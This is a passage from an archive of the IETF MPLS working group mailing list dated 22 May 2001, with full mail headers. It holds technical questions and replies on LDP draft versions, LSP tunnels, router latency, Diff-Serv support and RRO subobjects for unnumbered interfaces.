	(peer crosschecked as: imr1.ash.ops.us.uu.net [153.39.43.46])
	id QQkqcl07283
	for <mpls@mail-control.mail.uu.net>; Tue, 22 May 2001 11:59:22 GMT
Received: from cmr1.ash.ops.us.uu.net by imr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr1.ash.ops.us.uu.net [198.5.241.39])
	id QQkqcl21279
	for <mpls@UU.NET>; Tue, 22 May 2001 11:58:58 GMT
Received: from uni02mr.unity.ncsu.edu by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: uni02mr.unity.ncsu.edu [152.1.1.165])
	id QQkqcl02570
	for <mpls@UU.NET>; Tue, 22 May 2001 11:58:58 GMT
Received: from csc.ncsu.edu (socrates.csc.ncsu.edu [152.1.213.156])
	by uni02mr.unity.ncsu.edu (8.8.8/8.8.8/UR01Feb99) with ESMTP id HAA17969;
	Tue, 22 May 2001 07:58:50 -0400 (EDT)
Message-ID: <3B0A5479.B9204F0A@csc.ncsu.edu>
Date: Tue, 22 May 2001 07:58:49 -0400
From: Harry Perros <hp@csc.ncsu.edu>
X-Mailer: Mozilla 4.77 [en] (X11; U; SunOS 5.5.1 sun4u)
X-Accept-Language: en
MIME-Version: 1.0
To: Chrysostomos Tziouvaras <tziou@ics.forth.gr>
CC: mpls@UU.NET, ip-optical@lists.bell-labs.com
Subject: Re: [IP-Optical] defining many sources using LEDA
References: <Pine.GSO.4.10.10105221129001.18801-100000@sappho.ics.forth.gr>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-mpls@UU.NET
Precedence: bulk
Content-Transfer-Encoding: 7bit

What kind of traffic do you want to generate?
Are you talking about optical packets or lightpaths
static or on demand??

Harry Perros

Chrysostomos Tziouvaras wrote:
> 
> Dear all,
> I have a graph of abou 90 nodes each of them being source and destination.
> I want to define a traffic generator(using random_variate of LEDA) for
> each source destination pair.
> Do you have any idea how I should do this?
> 
> Regards
> Chrysostomos Tziouvaras
> ICS-FORTH Researcher
> 
> _______________________________________________
> IP-Optical mailing list
> IP-Optical@lists.bell-labs.com
> http://lists.bell-labs.com/mailman/listinfo/ip-optical



From owner-mpls@UU.NET  Tue May 22 08:32:05 2001
Received: from cmr1.ash.ops.us.uu.net ([198.5.241.39])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id IAA15331
	for <mpls-archive@lists.ietf.org>; Tue, 22 May 2001 08:32:04 -0400 (EDT)
Received: from mail-control.mail.uu.net by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.mail.uu.net [153.39.51.35])
	id QQkqco22438;
	Tue, 22 May 2001 12:31:19 GMT
Received: by mail-control.mail.uu.net 
	id QQkqcn29291
	for mpls-outgoing; Tue, 22 May 2001 12:26:26 GMT
Received: from imr0.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr0.ash.ops.us.uu.net [153.39.43.11])
	id QQkqcn29273
	for <mpls@mail-control.mail.uu.net>; Tue, 22 May 2001 12:26:08 GMT
Received: from cmr1.ash.ops.us.uu.net by imr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr1.ash.ops.us.uu.net [198.5.241.39])
	id QQkqcn02359
	for <mpls@uu.net>; Tue, 22 May 2001 12:24:58 GMT
Received: from sj-msg-core-2.cisco.com by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: sj-msg-core-2.cisco.com [171.69.24.11])
	id QQkqcn18188
	for <mpls@uu.net>; Tue, 22 May 2001 12:24:57 GMT
Received: from erosen-sun.cisco.com (erosen-sun.cisco.com [161.44.134.50])
	by sj-msg-core-2.cisco.com (8.11.3/8.9.1) with ESMTP id f4MCOvU15725
	for <mpls@uu.net>; Tue, 22 May 2001 05:24:57 -0700 (PDT)
Received: (erosen@localhost) by erosen-sun.cisco.com (8.8.4-Cisco.1/CISCO.WS.1.2) id IAA01081 for mpls@uu.net; Tue, 22 May 2001 08:24:55 -0400 (EDT)
Received: from imr1.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr1.ash.ops.us.uu.net [153.39.43.46])
	id QQkqbh18188
	for <mpls@mail-control.mail.uu.net>; Tue, 22 May 2001 04:17:38 GMT
Received: from cmr0.ash.ops.us.uu.net by imr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38])
	id QQkqbh19993
	for <mpls@uu.net>; Tue, 22 May 2001 04:16:29 GMT
Received: from uucp1.netcore.co.in by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: [202.162.229.12])
	id QQkqbh25047
	for <mpls@uu.net>; Tue, 22 May 2001 04:16:23 GMT
Received: (from uucp@localhost)
	by uucp1.netcore.co.in (8.11.0/8.8.7) with UUCP id f4M4E9X21311
	for mpls@uu.net; Tue, 22 May 2001 09:44:09 +0530
Received: from mahesh ([192.168.1.16])
	by netserv.vircon.co.in (8.9.3/8.8.7) with SMTP id JAA05298
	for <mpls@uu.net>; Tue, 22 May 2001 09:52:43 +0530
From: "SRIRAM" <sunsriram@vircon.co.in>
To: <mpls@UU.NET>
Subject: MPLS-DISCUSSION
Date: Tue, 22 May 2001 09:56:25 +0530
Message-ID: <NEBBLBKBKMMIBNAKIKNCAEAFCCAA.sunsriram@vircon.co.in>
MIME-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Priority: 3 (Normal)
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2910.0)
Importance: Normal
X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2314.1300
Sender: owner-mpls@UU.NET
Precedence: bulk
Content-Transfer-Encoding: 7bit

Respected Sir / Madam,
I thank you very much for giving me an opportunity to become a member of the
IETF.
It is my privilege to be a member of this forum. I look forward to being a
active member in this forum.

I had a small doubt / clarification. I would appreciate your inputs on this
please. Let me give the grounds of doubt.
I was going thru the drafts for MPLS-LDP :
 -  drafts-ietf-mpls-ldp-09.txt    and
    drafts-ietf-mpls-ldp-11.txt

I did not find any change between the two drafts. They even had the same
expiry date too.  My query is : -  Is it possible for two different versions
of a draft to have the same expiry date ?

 -  Why would the same draft be named with a newer version number, if there
was no change in the contents of the draft ?

I would appreciate if you could take some time out of your busy schedule to
answer my queries at the earliest.

Thanking you in advance and looking forward to hearing from you.
Regards
-SRIRAM



From owner-mpls@UU.NET  Tue May 22 08:33:56 2001
Received: from cmr0.ash.ops.us.uu.net ([198.5.241.38])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id IAA15409
	for <mpls-archive@lists.ietf.org>; Tue, 22 May 2001 08:33:56 -0400 (EDT)
Received: from mail-control.mail.uu.net by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.mail.uu.net [153.39.51.35])
	id QQkqco23662;
	Tue, 22 May 2001 12:32:45 GMT
Received: by mail-control.mail.uu.net 
	id QQkqcn29304
	for mpls-outgoing; Tue, 22 May 2001 12:26:38 GMT
Received: from imr1.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr1.ash.ops.us.uu.net [153.39.43.46])
	id QQkqcn29288
	for <mpls@mail-control.mail.uu.net>; Tue, 22 May 2001 12:26:23 GMT
Received: from cmr1.ash.ops.us.uu.net by imr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr1.ash.ops.us.uu.net [198.5.241.39])
	id QQkqcn23590
	for <mpls@uu.net>; Tue, 22 May 2001 12:25:54 GMT
Received: from sj-msg-core-2.cisco.com by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: sj-msg-core-2.cisco.com [171.69.24.11])
	id QQkqcn18705
	for <mpls@uu.net>; Tue, 22 May 2001 12:25:53 GMT
Received: from erosen-sun.cisco.com (erosen-sun.cisco.com [161.44.134.50])
	by sj-msg-core-2.cisco.com (8.11.3/8.9.1) with ESMTP id f4MCPsU16014
	for <mpls@uu.net>; Tue, 22 May 2001 05:25:54 -0700 (PDT)
Received: (erosen@localhost) by erosen-sun.cisco.com (8.8.4-Cisco.1/CISCO.WS.1.2) id IAA01095 for mpls@uu.net; Tue, 22 May 2001 08:25:52 -0400 (EDT)
Received: from imr0.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr0.ash.ops.us.uu.net [153.39.43.11])
	id QQkqcm27716
	for <mpls@mail-control.mail.uu.net>; Tue, 22 May 2001 12:13:57 GMT
Received: from cmr2.ash.ops.us.uu.net by imr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr2.ash.ops.us.uu.net [198.5.241.40])
	id QQkqcm04818
	for <mpls@UU.NET>; Tue, 22 May 2001 12:12:24 GMT
Received: from web8003.mail.in.yahoo.com by cmr2.ash.ops.us.uu.net with SMTP 
	(peer crosschecked as: web8003.in.yahoo.com [203.199.70.21])
	id QQkqcm09969
	for <mpls@UU.NET>; Tue, 22 May 2001 12:12:23 GMT
Message-ID: <20010522121452.13647.qmail@web8003.mail.in.yahoo.com>
Received: from [203.190.136.98] by web8003.mail.in.yahoo.com; Tue, 22 May 2001 13:14:52 BST
Date: Tue, 22 May 2001 13:14:52 +0100 (BST)
From: =?iso-8859-1?q?divya=20mattey?= <divya_mattey@yahoo.co.in>
Subject: LSP tunnnel
To: mpls@UU.NET
MIME-Version: 1.0
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: 8bit
Sender: owner-mpls@UU.NET
Precedence: bulk
Content-Transfer-Encoding: 8bit

Hi,

Can anyone tell what is difference between LSP and LSP
tunnel?

Thanks,
- Divya.

____________________________________________________________
Do You Yahoo!?
For regular News updates go to http://in.news.yahoo.com



From owner-mpls@UU.NET  Tue May 22 08:35:44 2001
Received: from cmr2.ash.ops.us.uu.net ([198.5.241.40])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id IAA15493
	for <mpls-archive@lists.ietf.org>; Tue, 22 May 2001 08:35:43 -0400 (EDT)
Received: from mail-control.mail.uu.net by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.mail.uu.net [153.39.51.35])
	id QQkqco16531;
	Tue, 22 May 2001 12:34:14 GMT
Received: by mail-control.mail.uu.net 
	id QQkqco29748
	for mpls-outgoing; Tue, 22 May 2001 12:32:07 GMT
Received: from imr1.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr1.ash.ops.us.uu.net [153.39.43.46])
	id QQkqcn29317
	for <mpls@mail-control.mail.uu.net>; Tue, 22 May 2001 12:27:04 GMT
Received: from cmr1.ash.ops.us.uu.net by imr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr1.ash.ops.us.uu.net [198.5.241.39])
	id QQkqcn25482
	for <mpls@UU.NET>; Tue, 22 May 2001 12:26:42 GMT
Received: from mr1.wpafb.af.mil by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mr1o.wpafb.af.mil [198.97.67.51])
	id QQkqcn19215
	for <mpls@UU.NET>; Tue, 22 May 2001 12:26:41 GMT
Received: from scn2.wpafb.af.mil (scn2.wpafb.af.mil [129.48.23.253])
	by mr1.wpafb.af.mil (8.11.3/8.11.3) with ESMTP id f4MCQbM24052
	for <mpls@UU.NET>; Tue, 22 May 2001 08:26:41 -0400 (EDT)
Received: from relay3 (relay3.naic.wpafb.af.mil [129.52.29.221])
	by scn2.wpafb.af.mil (8.11.3/8.11.3) with ESMTP id f4MCKxS05244
	for <mpls@UU.NET>; Tue, 22 May 2001 08:21:00 -0400 (EDT)
Received: by relay3; id IAA20144; Tue, 22 May 2001 08:20:59 -0400 (EDT)
Received: from unknown(129.52.28.37) by relay3.naic.wpafb.af.mil via smap (V5.0)
	id xma020133; Tue, 22 May 01 08:20:12 -0400
Received: from mailhubu.naic.wpafb.af.mil ([129.52.132.53])
 by ripley.naic.wpafb.af.mil (NAVIEG 2.0.0) with SMTP id M2001052208195825197
 ; Tue, 22 May 2001 08:19:58 -0400
Received: from tais1u.naic (tais1u [129.52.130.126])
	by mailhubu.naic.wpafb.af.mil (8.11.0/8.11.0) with ESMTP id f4MCKAL13473;
	Tue, 22 May 2001 08:20:10 -0400 (EDT)
Received: by tais1u.naic (8.8.8+Sun/SMI-SVR4)
	id IAA03832; Tue, 22 May 2001 08:20:09 -0400 (EDT)
From: "David Acevedo/TAIS/40650/579" <da153@naic.wpafb.af.mil>
Message-Id: <1010522082008.ZM3830@unknown.zmail.host>
Date: Tue, 22 May 2001 08:20:08 -0400
X-Mailer: Z-Mail (5.0.0 30July97)
To: mpls@UU.NET
Subject: Label-switched router latency
Cc: atiq@ou.edu
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Sender: owner-mpls@UU.NET
Precedence: bulk

Dear MPLS Experts,

Is there a way to determine/measure the latency of an MPLS Label-Switched
Router (LSR)?  Moreover,  Is the processing delay (time it takes for a packet
to enter a LSR and exit the same LSR) the same when the LSR is only processing
one stream of data for one FEC instead of processing hundreds of streams from
multiple customers?

I am guessing that when a LSR is processing only one connection, it receives
each packet and immediately forwards it to the next hop; when the LSR is
processing (lets say) hundreds of messages/streams from multiple FECs each
packet will be processed one at the time causing an increase in latency for all
packets. Is this correct?

thanks


David Acevedo

-- 
David Acevedo
Computer Network Analyst
Off: (937)904-0650
da153@naic.wpafb.af.mil or
david.acevedo@naic.wpafb.af.mil




From owner-mpls@UU.NET  Tue May 22 08:36:53 2001
Received: from cmr2.ash.ops.us.uu.net ([198.5.241.40])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id IAA15529
	for <mpls-archive@lists.ietf.org>; Tue, 22 May 2001 08:36:53 -0400 (EDT)
Received: from mail-control.mail.uu.net by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.mail.uu.net [153.39.51.35])
	id QQkqco19200;
	Tue, 22 May 2001 12:35:30 GMT
Received: by mail-control.mail.uu.net 
	id QQkqco29754
	for mpls-outgoing; Tue, 22 May 2001 12:32:13 GMT
Received: from imr2.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr2.ash.ops.us.uu.net [153.39.43.15])
	id QQkqcn29329
	for <mpls@mail-control.mail.uu.net>; Tue, 22 May 2001 12:27:20 GMT
Received: from cmr0.ash.ops.us.uu.net by imr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38])
	id QQkqcn04387
	for <mpls@uu.net>; Tue, 22 May 2001 12:25:41 GMT
Received: from sj-msg-core-1.cisco.com by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: sj-msg-core-1.cisco.com [171.71.163.11])
	id QQkqcn20756
	for <mpls@uu.net>; Tue, 22 May 2001 12:25:41 GMT
Received: from erosen-sun.cisco.com (erosen-sun.cisco.com [161.44.134.50])
	by sj-msg-core-1.cisco.com (8.11.3/8.9.1) with ESMTP id f4MCPe901736
	for <mpls@uu.net>; Tue, 22 May 2001 05:25:40 -0700 (PDT)
Received: (erosen@localhost) by erosen-sun.cisco.com (8.8.4-Cisco.1/CISCO.WS.1.2) id IAA01091 for mpls@uu.net; Tue, 22 May 2001 08:25:39 -0400 (EDT)
Received: from imr2.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr2.ash.ops.us.uu.net [153.39.43.15])
	id QQkqcm11662
	for <mpls@mail-control.mail.uu.net>; Tue, 22 May 2001 12:01:56 GMT
Received: from cmr2.ash.ops.us.uu.net by imr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr2.ash.ops.us.uu.net [198.5.241.40])
	id QQkqcm20948
	for <mpls@UU.NET>; Tue, 22 May 2001 12:01:53 GMT
Received: from tlvsdy.vim.tlt.alcatel.it by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: tlvsdy.vim.tlt.alcatel.it [194.243.74.244])
	id QQkqcm00699
	for <mpls@UU.NET>; Tue, 22 May 2001 12:01:52 GMT
Received: from tlvhdk.netit.alcatel.it (tlvhgd.netit.alcatel.it [151.98.14.48])
	by tlvsdy.vim.tlt.alcatel.it (8.9.3+Sun/8.9.3) with ESMTP id OAA23195
	for <mpls@UU.NET>; Tue, 22 May 2001 14:02:23 +0200 (MET DST)
Received: from alcatel.it (ipl047.vim.tlt.alcatel.it [151.98.36.47])
	by tlvhdk.netit.alcatel.it (8.8.6 (PHNE_17135)/8.8.6) with ESMTP id NAA04397
	for <mpls@UU.NET>; Tue, 22 May 2001 13:57:37 +0200 (METDST)
Message-ID: <3B0A55A1.4087A657@alcatel.it>
Date: Tue, 22 May 2001 14:03:45 +0200
From: Roberto Guglielmi <roberto.guglielmi@alcatel.it>
Organization: Alcatel - IP R&D
X-Mailer: Mozilla 4.7 [en] (WinNT; I)
X-Accept-Language: en
MIME-Version: 1.0
To: MPLS WG <mpls@UU.NET>
Subject: Docs about MPLS Support of Diff-Serv
Content-Type: multipart/mixed;
 boundary="------------6212EF74E53FC744F7AF5F10"
Sender: owner-mpls@UU.NET
Precedence: bulk

This is a multi-part message in MIME format.
--------------6212EF74E53FC744F7AF5F10
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

Hello everybody,
can anyone suggest me where I can find documentation about MPLS Support
of  Diff-Serv, apart draft and rfc?

Thanks

--------------6212EF74E53FC744F7AF5F10
Content-Type: text/x-vcard; charset=us-ascii;
 name="roberto.guglielmi.vcf"
Content-Description: Card for Roberto Guglielmi
Content-Disposition: attachment;
 filename="roberto.guglielmi.vcf"
Content-Transfer-Encoding: 7bit

begin:vcard 
n:Guglielmi;Roberto
tel;fax:+39 039 686 3590
tel;work:+39 039 686 4801
x-mozilla-html:FALSE
org:Alcatel Italy;IP Laboratory
adr:;;;;;;
version:2.1
email;internet:roberto.guglielmi@alcatel.it
title:SW Designer
fn:Roberto Guglielmi
end:vcard

--------------6212EF74E53FC744F7AF5F10--



From owner-mpls@UU.NET  Tue May 22 08:43:51 2001
Received: from cmr1.ash.ops.us.uu.net ([198.5.241.39])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id IAA15690
	for <mpls-archive@lists.ietf.org>; Tue, 22 May 2001 08:43:50 -0400 (EDT)
Received: from mail-control.mail.uu.net by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.mail.uu.net [153.39.51.35])
	id QQkqco00114;
	Tue, 22 May 2001 12:42:31 GMT
Received: by mail-control.mail.uu.net 
	id QQkqco00497
	for mpls-outgoing; Tue, 22 May 2001 12:41:49 GMT
Received: from imr1.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr1.ash.ops.us.uu.net [153.39.43.46])
	id QQkqco00487
	for <mpls@mail-control.mail.uu.net>; Tue, 22 May 2001 12:41:40 GMT
Received: from cmr0.ash.ops.us.uu.net by imr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38])
	id QQkqco28725
	for <mpls@uu.net>; Tue, 22 May 2001 12:41:03 GMT
Received: from mill.cisco.com by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mill.cisco.com [161.44.131.47])
	id QQkqco27311
	for <mpls@uu.net>; Tue, 22 May 2001 12:41:03 GMT
Received: (erosen@localhost) by mill.cisco.com (8.8.5-Cisco.1/8.6.5) id IAA18986 for mpls@uu.net; Tue, 22 May 2001 08:41:02 -0400 (EDT)
Received: from imr1.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr1.ash.ops.us.uu.net [153.39.43.46])
	id QQkqco00057
	for <mpls@mail-control.mail.uu.net>; Tue, 22 May 2001 12:35:39 GMT
Received: from cmr0.ash.ops.us.uu.net by imr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38])
	id QQkqco14742
	for <mpls@uu.net>; Tue, 22 May 2001 12:35:12 GMT
Received: from coltrane.dataconnection.com by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: smtp.dataconnection.com [192.91.191.4])
	id QQkqco24989
	for <mpls@uu.net>; Tue, 22 May 2001 12:35:12 GMT
Received: by coltrane.datcon.co.uk with Internet Mail Service (5.5.2653.19)
	id <LBMFTD9G>; Tue, 22 May 2001 13:35:02 +0100
Message-ID: <37701240971DD31193970000F6CCB9F7019F6D73@duke.datcon.co.uk>
From: Nic Larkin <NPL@dataconnection.com>
To: "'Arumugam R'" <arumugamr@future.futsoft.com>
Cc: Juniper - Kireeti Kompella <kireeti@juniper.net>, yakov@juniper.net,
        "'mpls@uu.net'" <mpls@UU.NET>
Subject: RE: Unnumbered interface IDs in RROs
Date: Tue, 22 May 2001 13:34:59 +0100
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2653.19)
Content-Type: text/plain;
	charset="ISO-8859-1"
Sender: owner-mpls@UU.NET
Precedence: bulk

Hi Arumugam,

Thanks for your response.  I agree that the solution you propose would do
the job of carrying the 32 bit Router ID in an RRO.  However, I think the
one I propose below, namely to use the same format in the RRO as in the ERO,
works better.

- It is useful and convenient for the format of RRO subobjects to be the
same as ERO subobjects.  
  - This applies especially to RSVP LSP pinning, where it should be
straightforward for the ingress to "re-use" the RRO as a pinned ERO.
  - In general, it will help implementations if they can represent hop
information in a consistent way.

- The approach of using the existing IPv4 RRO subobject unnecessarily
overloads its meaning.  The IPv4 RRO subobject is currently defined to carry
  - an IPv4 address, not a Router ID
  - the address of a specific outgoing interface, not the address of an LSR.


Therefore it seems simpler and easier to
- model the unnumbered interface RRO subobject on the ERO subobject
- insert this subobject into the RRO in place of the numbered interface
address subobject.

Any support for this proposal?

Regards,
Nic.

-----Original Message-----
From: Arumugam R [mailto:arumugamr@future.futsoft.com]
Sent: Tuesday, May 22, 2001 7:12 AM
To: Nic Larkin
Cc: Juniper - Kireeti Kompella; yakov@juniper.net; 'mpls@uu.net'
Subject: Re: Unnumbered interface IDs in RROs


Hi Nic,

I think the Router ID field is unnecessary in the newly defined RRO
subobject
for unnumbered interface. If you consider the processing of the new
subobject
in lines with that of the label subobject mentioned in rsvp-lsp-tunnel-08
draft
the operation will be quite clear.

i.e. always the new subobject(Type 4) should be accompanied with the
subobject
1 ( IPv4 Address Type 1), which states that always the address added to the
IPv4 subobject should be the Router ID.  Then the need for having an extra
field of "Router ID" is also resolved. I feel that a statement " mandatorily
the unnumbered interface ID subobject (Type 4) has to accompany IPv4
subobject
(Type 1)" will solve the purpose in the draft mpls-rsvp-unnum-01.

Regards
Arumugam R

Nic Larkin wrote:

> Hi Kireeti, Yakov,
>
> Can you help me with a query about draft-ietf-mpls-rsvp-unnum-01?
>
> Section 7 defines the unnumbered interface subobject of the Record Route
> Object.  This subobject has an "Interface ID" field to identify the
> unnumbered link.
>
> My question is: should there also be a "Router ID" field in the definition
> of the Record Route subobject, as per the ERO subobject in section 6?
This
> would be used to identify which LSR the unnumbered interface belongs to,
> e.g. allowing the ingress to construct a strict ERO when doing LSP
Pinning.
>
> Thanks and regards,
> Nic.
>
> Nic Larkin
> Network Convergence Group
> Data Connection Ltd
> Tel:   +44 20 8366 1177           Fax:   +44 20 8363 1533
> Email: npl@dataconnection.com     Web:   http://www.dataconnection.com



From owner-mpls@UU.NET  Tue May 22 09:17:04 2001
Received: from cmr2.ash.ops.us.uu.net ([198.5.241.40])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id JAA16905
	for <mpls-archive@lists.ietf.org>; Tue, 22 May 2001 09:17:03 -0400 (EDT)
Received: from mail-control.mail.uu.net by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.mail.uu.net [153.39.51.35])
	id QQkqcr25788;
	Tue, 22 May 2001 13:16:34 GMT
Received: by mail-control.mail.uu.net 
	id QQkqcr23340
	for mpls-outgoing; Tue, 22 May 2001 13:15:51 GMT
Received: from imr0.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr0.ash.ops.us.uu.net [153.39.43.11])
	id QQkqcr23323
	for <mpls@mail-control.mail.uu.net>; Tue, 22 May 2001 13:15:34 GMT
Received: from cmr0.ash.ops.us.uu.net by imr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38])
	id QQkqcr29541
	for <mpls@uu.net>; Tue, 22 May 2001 13:15:16 GMT
Received: from fsnt.future.futsoft.com by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: [203.197.140.35])
	id QQkqcr20682
	for <mpls@uu.net>; Tue, 22 May 2001 13:15:14 GMT
Received: from kailash.future.futsoft.com (unverified) by fsnt.future.futsoft.com
 (Content Technologies SMTPRS 2.0.15) with ESMTP id <B0000166814@fsnt.future.futsoft.com>;
 Tue, 22 May 2001 18:51:49 +0530
Received: from manis (manis.future.futsoft.com [10.20.6.3])
	by kailash.future.futsoft.com (8.11.0/8.11.0) with SMTP id f4MDExu22082;
	Tue, 22 May 2001 18:44:59 +0530
Reply-To: <manis@future.futsoft.com>
From: "Manikantan S" <manis@future.futsoft.com>
To: "'SRIRAM'" <sunsriram@vircon.co.in>, <mpls@UU.NET>
Subject: RE: MPLS-DISCUSSION
Date: Tue, 22 May 2001 18:43:51 +0530
Message-Id: <001901c0e2c1$0bf44fe0$0306140a@future.futsoft.com>
MIME-Version: 1.0
X-Priority: 3 (Normal)
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook CWS, Build 9.0.2416 (9.0.2910.0)
Importance: Normal
X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2615.200
In-Reply-To: <NEBBLBKBKMMIBNAKIKNCAEAFCCAA.sunsriram@vircon.co.in>
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
Sender: owner-mpls@UU.NET
Precedence: bulk
Content-Transfer-Encoding: 7bit

Hello Sriram

The LDP draft(9/11) has now become an RFC and it is RFC 3036. This has
happened in Jan 2001. :)

Not sure why you are looking at the drafts now?

regards
mani


-----Original Message-----
From: owner-mpls@uu.net [mailto:owner-mpls@uu.net]On Behalf Of SRIRAM
Sent: Tuesday, 22 May 2001 9:56 AM
To: mpls@uu.net
Subject: MPLS-DISCUSSION


Respected Sir / Madam,
I thank you very much for giving me an opportunity to become a member of the
IETF.
It is my privilege to be a member of this forum. I look forward to being a
active member in this forum.

I had a small doubt / clarification. I would appreciate your inputs on this
please. Let me give the grounds of doubt.
I was going thru the drafts for MPLS-LDP :
 -  drafts-ietf-mpls-ldp-09.txt    and
    drafts-ietf-mpls-ldp-11.txt

I did not find any change between the two drafts. They even had the same
expiry date too.  My query is : -  Is it possible for two different versions
of a draft to have the same expiry date ?

 -  Why would the same draft be named with a newer version number, if there
was no change in the contents of the draft ?

I would appreciate if you could take some time out of your busy schedule to
answer my queries at the earliest.

Thanking you in advance and looking forward to hearing from you.
Regards
-SRIRAM



From owner-mpls@UU.NET  Tue May 22 09:19:31 2001
Received: from cmr0.ash.ops.us.uu.net ([198.5.241.38])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id JAA17027
	for <mpls-archive@lists.ietf.org>; Tue, 22 May 2001 09:19:31 -0400 (EDT)
Received: from mail-control.mail.uu.net by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.mail.uu.net [153.39.51.35])
	id QQkqcr27041;
	Tue, 22 May 2001 13:18:55 GMT
Received: by mail-control.mail.uu.net 
	id QQkqcr23727
	for mpls-outgoing; Tue, 22 May 2001 13:17:56 GMT
Received: from imr2.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr2.ash.ops.us.uu.net [153.39.43.15])
	id QQkqcr23595
	for <mpls@mail-control.mail.uu.net>; Tue, 22 May 2001 13:17:09 GMT
Received: from cmr0.ash.ops.us.uu.net by imr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38])
	id QQkqcr10905
	for <mpls@UU.NET>; Tue, 22 May 2001 13:16:47 GMT
Received: from brahma01.netbrahma.com by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: [164.164.70.67])
	id QQkqcr23130
	for <mpls@UU.NET>; Tue, 22 May 2001 13:16:40 GMT
Received: by BRAHMA01 with Internet Mail Service (5.5.2653.19)
	id <LNW98RZT>; Tue, 22 May 2001 18:46:07 +0530
Message-ID: <13D467F625FAD511AE2A00D0B7B917D71FF0CF@BRAHMA01>
From: Khuzema Pithewan <KhuzemaP@netbrahma.com>
To: "'mpls@UU.NET'" <mpls@UU.NET>
Subject: PATH message in RSVP-TE
Date: Tue, 22 May 2001 18:46:06 +0530
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2653.19)
Content-Type: text/plain
Sender: owner-mpls@UU.NET
Precedence: bulk

Hi,

In case of RSVP-TE, if PATH message travels hop-by-hop i.e. having the
destination address of next-hop based on the ERO in path message instead of
having the destination address as of egress node, then what could be the
consequences?

TIA,
Khuzema.
------------------------------------------------
Net Brahma Technologies Private Limited
Internext Networking Software
A Microland Group Company
777, 3rd 'a' cross, 18th Main 
Koramangala VI th block
Bangalore-95
Phone no.s - (080) 5521451 / 5525011 / 5525012  Ext. 232
Fax no        - (080) 5537233 
email : khuzemap@netbrahma.com
www.netbrahma.com



From owner-mpls@UU.NET  Tue May 22 09:35:16 2001
Received: from cmr0.ash.ops.us.uu.net ([198.5.241.38])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id JAA17595
